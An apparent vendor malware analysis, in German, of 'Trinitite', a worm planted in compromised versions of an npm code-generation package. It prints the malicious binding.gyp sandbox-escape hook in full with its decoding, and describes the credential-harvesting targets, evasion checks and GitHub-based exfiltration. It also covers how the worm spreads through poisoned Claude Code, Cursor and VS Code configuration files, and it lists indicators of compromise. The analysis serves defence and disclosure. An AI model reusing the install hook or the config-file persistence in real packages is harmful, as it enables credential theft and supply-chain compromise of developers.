Es ist erst einen Tag her, seit wir von der Nachricht über die Festnahme von TeamPCP-Mitgliedern in Australiengehört haben, und nun haben wir eine neue, TeamPCP-ähnliche Malware entdeckt, die 10 Versionen eines beliebten npm-Pakets namens @7nohe/openapi-react-query-codegen (+150.000 wöchentliche Downloads). Diese Versionen wurden alle innerhalb von 20 Minuten auf npm veröffentlicht. Das betroffene Paket generiert typsichere TanStack-Query-Hooks direkt aus einem OpenAPI-Schema, sodass Entwickelnde keinen Boilerplate-Code manuell schreiben müssen.
Die Malware nennt sich "Trinitite: Sponsored by Preview 2 Effects". Trinitite ist das glasartige Material, das nach einer nuklearen Explosion auf dem Wüstenboden zurückbleibt. Frührere Versionen der Nutzlast verwiesen auf ein Skript mit dem wörtlichen Namen is_it_this_simple.js, was die Einstellung dazu ziemlich gut auf den Punkt bringt.
Ob es sich hierbei um einen Trittbrettfahrer, ein der Festnahme entkommenes Ex-Mitglied oder einen völlig eigenständigen Bedrohungsakteur handelt, bleibt unklar. Wer auch immer hinter diesem Angriff steckt, teilt jedenfalls offensichtlich seine Vorliebe für Theatralik mit TeamPCP.
Sowohl das npm-Paket als auch das dazugehörige GitHub-Repository wurden offenbar kompromitiert. Der Angreifer verschaffte sich Zugang, indem er eine Schwachstelle in einem der GitHub-Actions-Workflows des Projekts ausnutzte. Daher verfügen alle Releases über gültige Herkunftsnachweise (Provenance Attestations). Hierbei handelt es sich um kryptografische Zertifikate, die belegen, dass das Paket vom offiziellen GitHub-Actions-Workflow erstellt wurde. Wenn jedoch der Workflow selbst kompromitiert ist, verliert dieses Zertifikat seine Verlässlichkeit als Vertrauenssignal.
Das binding.gyp Sandbox Escape
Der initiale Ausführungshook ist binding.gyp, eine Datei, die normalerweise für die Konfiguration nativer Node.js-Add-on-Kompilierungen verwendet wird. Ich war etwas überrascht, diesen bestimmten Trick hier angewendet zu sehen, da ich anfangs dieses Jahres über diese Schwachstellenklasse berichtet habe. Die Technik scheint sich durchzusetzen.
Wann npm install ein Paket verarbeitet, das ein binding.gypenthält, wird node-gyp aufgerufen, um das native Modul zu kompilieren. node-gyp wertet das conditions Feld in der Datei mithilfe von Python aus, was bedeutet, dass dort beliebige Python-Ausdrücke platziert werden können, die während der Installation ausgeführt werden, selbst ohne ein preinstall Skript, das in package.json.
Der binding.gyp in diesem Paket sieht folgendermaßen aus:
{
"variables": {
"var": "Frot",
},
"conditions":[
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
],
"targets": [
{
"target_name": "<(var)",
"type":"\x6e\x6f\x6e\x65",
"sources": ["dog.c"],
}
]
}Der Bedingungsausdruck ist ein Python-Sandbox-Escape, das die catch_warnings Klasse verwendet, auf die durch das Durchlaufen der Klassenhierarchie von ()zugegriffen wird. Nach der Dekodierung ergeben die Unicode- und Hex-Escapes folgendes:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')Es findet die catch_warnings Klasse über den internen Subklassenbaum von Python, nutzt sie für den Zugriff auf __builtins__, importiert osund ruft os.system() auf, um die Hauptnutzlast mit Node auszuführen. Das type Feld ist hexadezimal kodiert keine sodass kein eigentlicher nativer Build versucht wird und der Zielname Frot ist bedeutungslos. Die gesamte Datei existiert einzig und allein dazu, einen Shell-Befehl auszuführen.
Es ist erwähnenswert, dass nicht alle kompromittierten Versionen diesen Trick verwenden. Die beiden Vorabversionen nutzen stattdessen ein unkompliziertes preinstall Skript. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab führt aus node nu.js direkt aufzurufen. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be lädt Bun herunter über wget weitergeleitet an bash und führt dann Folgendes aus: is_it_this_simple.js.
Dennoch legten spätere kompromittierte Versionen nach und fügten beide Vektoren gleichzeitig hinzu, indem sie den binding.gyp Trick sicherheitshalber mit einem expliziten "preinstall": "node 3FWCvzduYZg.js" Skript kombinierten.
Obfuskation und Sandchbox-Umgehung
3FWCvzduYZg.js ist eine 5,4 MB große, einzeilige Datei im Stammverzeichnis des Pakets. Die Datei verwendet vier Verschlüsselungsschichten. Die äußerste Schicht ist ein Integer-Array mit 1,6 Millionen Elementen, das mit dem Schlüssel 29 XOR-verschlüsselt ist. Dies entschlüsselt sich zu einem Skript, das die Bun-Laufzeitumgebung im Hintergrund herunterlädt (als trinnyyyy-XXXXX im temporären Systemverzeichnis) und damit die eigentliche Nutzlast ausführt, die im Inneren AES-128-GCM-verschlüsselt ist. Die innere Nutzlast besteht aus weiteren 800 KB obfuskiertem JavaScript, das zusätzlich zu den standardmäßigen obfuscator.io-Transformationen eine benutzerdefinierte Chiffre mit gemischter Tabelle verwendet. Vollständig entschlüsselt und deobfuskiert enthält sie einen Credential-Harvester, einen Wurm und einen destruktiven Befehl.
Bevor etwas unternommen wird, prüft die Nutzlast mehrere Bedingungen und bricht ohne Fehlermeldung ab, wenn eine davon zutrifft:
- Die System-Locale ist Russisch (Prüfungen
Intl.DateTimeFormat,LC_ALL,LC_MESSAGES,LANGUAGE,LANG) - CrowdStrike-, SentinelOne- oder CarbonBlack-Verzeichnisse sind vorhanden
- Das Arbeitsverzeichnis beginnt mit
/tmp/npm-safe/oder/opt/hscan-supplychain-dynamic/ - Umgebungsvariablen enthalten bekannte gefälschte Anmeldeinformationspräfixe, die von Sicherheitsscannern verwendet werden (
AKIAFAKE,npm_F4k3NPMToken,sk-ant-api03-fake,ghp_decoyGitHubToken) - Der
GITHUB_REPOSITORY_OWNERist eines von mehreren bekannten Sicherheitsforschungskonten (actions-security-demo,h0x0er,varunsh-coder,rohan-stepsecurity) - Das StepSecurity harden-runner-Tool ist aktiv
Was es stiehlt
Die Nutzlast zielt auf ein breites Spektrum von Anmeldeinformationen über Cloud-Plattformen, Entwickelnden-Tools und lokale Dateien ab.
GitHub-Tokens
Suche nach klassischen PATs (gh[op]_...) und fein abgestimmten Token (github_pat_...) in Umgebungsvariablen und lokalen Dateien. Auf GitHub Actions-Runnern wird außerdem ein OIDC-Token angefordert über ACTIONS_ID_TOKEN_REQUEST_TOKEN und ACTIONS_ID_TOKEN_REQUEST_URL.
npm-, PyPI- und RubyGems-Token
Liest ~/.npmrc und sucht nach weiteren .npmrc Dateien. Extrahiert Bearer-Token und validiert diese gegenüber registry.npmjs[.]org/-/whoami. Zielt auf PyPI-Token (pypi-AgEIcHlwaS5vcmcCJ...) und RubyGems-Token (rubygems_...) nach derselben Methode ab.
AWS-Anmeldeinformationen
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKENsowie zehn zugehörige Umgebungsvariablen~/.aws/credentialsund~/.aws/config- EC2 Instance Metadata Service unter
169[.]254[.]169[.]254, wobei IMDSv2 zuerst versucht wird - ECS Container-Metadatendateiendpunkt unter
169[.]254[.]170[.]2 - Ruft
sts:GetCallerIdentityauf, um Anmeldeinformationen vor der Exfiltration zu verifizieren
Azure-Anmeldeinformationen
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_IDund eine föderierte Token-Datei- Azure-IMDS-Endpunkt für verwaltete Identitäten
- Greift nach erfolgreicher Authentifizierung auf Azure Key Vault, den Azure Resource Manager und die Microsoft Graph API zu
GCP-Anmeldeinformationen
GOOGLE_APPLICATION_CREDENTIALSDienstkonten-JSON-Datei- GCP-Metadatenserver unter
metadata[.]google[.]internal - Google Secret Manager, sobald ein Token abgerufen wurde
HashiCorp Vault
VAULT_TOKEN_FILE,VAULT_TOKEN_PATH,VAULT_ADDR,VAULT_API_TOKEN- Zählt Secrets auf über
/api/v1/system/me,/secrets,/api/v1/namespaces
Kubernetes
- Dienstkonton-Token unter
/var/run/secrets/kubernetes.io/serviceaccount/token KUBECONFIGund~/.kube/config/etc/rancher/k3s/k3s.yaml
Dateisystem-Scan (über 150 Glob-Muster)
- Alle privaten SSH-Schlüssel:
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/id* ~/.docker/config.json,/root/.docker/config.json.env,.env.local,.env.production~/.git-credentials,~/.gitconfig,~/.config/git/credentials~/.npmrc,~/.pypirc,~/.cargo/credentials.toml,~/.terraform.d/credentials.tfrc.json~/.bash_history,~/.zsh_history,~/.node_repl_history- Kryptowام-Wallets:
~/.ethereum/keystore/*,~/.monero/*, Ledger Live, Exodus - Messaging-Sitzungsdaten: Signal, Telegram Desktop, Discord, Slack, Element
- VPN-Konfigurationen: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
- Claude AI:
~/.claude.json,~/.claude/*,~/.claude/projects/*,~/.claude/mcp.json - JFrog Artifactory-Domains und -Token
Exfiltration
Sobald Anmeldedaten gesammelt wurden, benötigt die Nutzlast ein GitHub-Repository für den Upload. Ähnlich wie bei früheren Miasma-ähnlichen Angriffen wird zunächst im öffentlichen Commit-Verlauf von GitHub nach Commits gesucht, deren Nachricht übereinstimmt mit "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Es entschlüsselt das eingebettete Token und verwendet dieses Konto, um das Exfiltrations-Repository zu erstellen. Das bedeutet, dass gestohlene Daten von einem Opfer in einem Repo landen, das einem anderen Benutzer gehört.
Der Name des Repositories wird generiert, indem zwei zufällig ausgewählte Touhou Project -Figurennamen mit einer Zufallszahl kombiniert werden, zum Beispiel cirno-marisa-74291 oder reimu-kogasa-12048. Die Beschreibung des Repositories ist festgelegt auf "Trinitite: Sponsored by Preview 2 Effects", woran Sie Exfiltrations-Repositories in freier Wildbahn erkennen können:

Die gestohlenen Anmeldedaten werden als verschlüsselte JSON-Dateien mit dem Namen doubletrinnys-{counter}-{timestamp}.json innerhalb eines results/ Verzeichnisses übertragen. Jede Datei enthält zwei Felder: Umschlag, das verschlüsselte Anmeldedatenbündel, und Schlüssel, den Verschlüsselungsschlüssel selbst, verschlüsselt mit dem RSA-öffentlichen Schlüssel des Angreifers. Nur der Angreifer, der den entsprechenden privaten Schlüssel besitzt, kann den Inhalt entschlüsseln. Die Daten liegen gut sichtbar in öffentlichen GitHub-Repositories, sind aber für alle anderen unlesbar. Interessanterweise lauten die meisten Commit-Nachrichten einfach "meow meow meow".
Wurm-Propagation
Trinitite nutzt gestohlene Tokens, um sich selbst auf anderen Paketen und Repositories zu verbreiten.
npm, PyPI und RubyGems
Mit einem gestohlenen npm-Token ruft die Nutzlast registry.npmjs[.]org\/-\/npm\/v1\/tokens auf, um das Publishing-Token mit der höchsten Berechtigungsstufe zu finden, und fragt dann /v1/search?text=maintainer:{user} ab, um jedes Paket zu ermitteln, das diesem Maintainer gehört. Sie ruft das aktuelle Tarball für jedes Paket ab, fügt einen neuen binding.gyp hinzu, der denselben Python-Sandbox-Escape enthält, legt eine Kopie von 3FWCvzduYZg.jsab und veröffentlicht eine neue Version. Dasselbe Schema gilt für PyPI (über upload.pypi[.]org\/legacy\/) und RubyGems (über rubygems[.]org\/api\/v1\/gems). Alle Veröffentlichungsanfragen verwenden {tls: {rejectUnauthorized: false}} um das Certificate Pinning zu umgehen.
GitHub-Repository-Poisoning
Mit einem gestohlenen GitHub-Token listet die Nutzlast jedes zugängliche Repository und jeden Branch auf, wobei Branches übersprungen werden, die mit folgendem Präfix beginnen: release/, dependabot/, renovate/, und copilot/. Für jeden Branch werden folgende Dateien committet:
.vscode/tasks.jsonmit einer manipulierten Task-Runner-Konfiguration.claude/settings.jsonmit einemSessionStartHook, dersetup.mjsausführt, jedes Mal, wenn Entwickelnde das Projekt in Claude Code öffnen.claude/setup.mjsmit der sekundären Nutzlast.vscode/setup.mjsmit demselben.github/workflows/codeql.yml, einem gefälschten CodeQL-Sicherheits-Workflow, der gleichzeitig als Backdoor dient.gemini/settings.json,.cursor/rules/debug.mdc,.codex/config.toml,.opencode/plugins/setup.js
Jeder Commit wird verfasst als github-actions mit der Nachricht "chore: update dependencies" und einem skip-checks:true Trailer, um erforderliche Statusprüfungen zu umgehen.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Indicators of Compromise (IOCs)
Paketversionen
@7nohe/openapi-react-query-codegen@0.5.4@7nohe/openapi-react-query-codegen@0.5.5@7nohe/openapi-react-query-codegen@1.6.3@7nohe/openapi-react-query-codegen@1.6.4@7nohe/openapi-react-query-codegen@2.2.1@7nohe/openapi-react-query-codegen@2.2.2@7nohe/openapi-react-query-codegen@3.0.3@7nohe/openapi-react-query-codegen@3.0.4@7nohe\/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be@7nohe\/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab
Dateien
3FWCvzduYZg.jsim Paketstamm vorhanden- SHA256:
8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3 - SHA256:
b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6 - SHA256:
59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380 - SHA256:
778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c - SHA256:
b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8 - SHA256:
e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a - SHA256:
b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237 - SHA256:
709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
- SHA256:
- Temporäre Verzeichnisse mit dem Namen
trinnyyyy-gefolgt von 6 zufälligen alphanumerischen Zeichen (z. B.trinnyyyy-a3f9k2) im System-Temp-Ordner